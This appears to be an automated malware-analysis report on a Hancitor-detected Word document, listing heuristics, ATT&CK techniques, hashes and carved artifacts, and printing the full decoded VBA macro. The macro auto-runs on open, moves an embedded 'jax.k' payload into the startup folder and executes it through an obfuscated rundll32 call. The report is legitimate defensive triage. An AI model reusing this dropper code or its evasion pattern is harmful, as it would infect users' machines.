MALICIOUS
510
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1566.001 Spearphishing Attachment
The sample contains a VBA macro with a Document_Open subroutine that executes a Shell command. This command uses 'rundll32.exe' to execute a file named 'ket.t' located in the startup path, which is likely a second-stage payload. The embedded executable artifact and ClamAV detection further support its malicious nature. The macro also attempts to search for and rename a file named 'jax.k' from the temporary directory to 'ket.t' in the startup path.
Heuristics 13
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Office EPRINT stream contains EMF object high OLE_EPRINT_EMF_OBJECTOLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
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ClamAV: Win.Packed.Hancitor-9868784-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Packed.Hancitor-9868784-0
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Embedded PE executable critical OLE_EMBEDDED_EXEMZ/PE header found inside document — possible embedded executable
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VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell ("rundl" & "l32" & ued & " " & Options.DefaultFilePath(wdStartupPath) & "\ket.t,YAKNPEPKBPI") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set FSO = CreateObject("Scripting.FileSystemObject") -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Reference to LoadLibrary API high SC_STR_LOADLIBRARYReference to LoadLibrary API
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Reference to GetProcAddress API high SC_STR_GETPROCADDRESSReference to GetProcAddress API
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Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
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Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECTReference to VirtualProtect API
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 4
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1650 bytes |
SHA-256: d8890572aaa639658f37408a9e5398e7edb2791909f68499ba70c446096a0c55 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Compare Text
Option Explicit
Dim pafs As String
Private Sub Document_Open()
Dim vcbc As String
vcbc = Options.DefaultFilePath(wdStartupPath)
Dim xc
xc = "texmp"
If Dir(vcbc & "\ket.t") = "" Then
Call yyy
Call xxx
If Len(pafs) > 2 Then
Call nam(pafs)
Dim ued As String
ued = ".exe"
Shell ("rundl" & "l32" & ued & " " & Options.DefaultFilePath(wdStartupPath) & "\ket.t,YAKNPEPKBPI")
End If
End If
End Sub
Sub yyy()
Selection.MoveDown Unit:=wdLine, Count:=3
Selection.MoveRight Unit:=wdCharacter, Count:=2
Selection.MoveDown Unit:=wdLine, Count:=3
Selection.MoveRight Unit:=wdCharacter, Count:=2
Selection.TypeBackspace
Selection.Copy
End Sub
Sub xxx()
Dim usx
usx = Options.DefaultFilePath(wdTempFilePath)
Dim FSO As Object
Set FSO = CreateObject("Scripting.FileSystemObject")
Search FSO.GetFolder(usx)
End Sub
Sub Search(mds As Object)
Dim Nedc As Object
For Each Nedc In mds.SubFolders
Search Nedc
Next Nedc
Dim Ters As Object
For Each Ters In mds.Files
If Ters.Name = "jax.k" Then
pafs = Ters
End If
Next Ters
Exit Sub
ErrHandle:
Err.Clear
End Sub
Attribute VB_Name = "Module1"
Sub nam(pafs As String)
Name pafs As Options.DefaultFilePath(wdStartupPath) & "\" & "ket.t"
End Sub
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embedded_office_0008ea68.exe |
embedded-pe | Office MZ+PE at offset 0x8EA68 | 321944 bytes |
SHA-256: 930fc0e31f8853d8ff944df29eec047ed14ebd787016b118648ada16981e2794 |
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Detection
ClamAV:
Win.Packed.Hancitor-9868784-0
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms.
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ole10native_00.bin |
ole-package | OLE Ole10Native stream: ObjectPool/_1683931119/Ole10Native | 292634 bytes |
SHA-256: 21595cb29bd27c1d87fc7c9ed9e22364c6d087573a648ce45e6f523d7b8397cb |
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Detection
ClamAV:
Win.Packed.Hancitor-9868784-0
Obfuscation or payload:
unlikely
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ole10native_00_jax.k |
ole-package-payload | OLE Ole10Native payload: ObjectPool/_1683931119/Ole10Native; display_name=jax.k; full_path=C:\Users\MyPc\AppData\Local\Temp\jax.k; temp_path=; def_file= | 292352 bytes |
SHA-256: ca840820efcd99f62cfe38e230354ea0ea968476dafb56cd7922ceb547baffe2 |
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Detection
ClamAV:
Win.Packed.Hancitor-9868784-0
Obfuscation or payload:
unlikely
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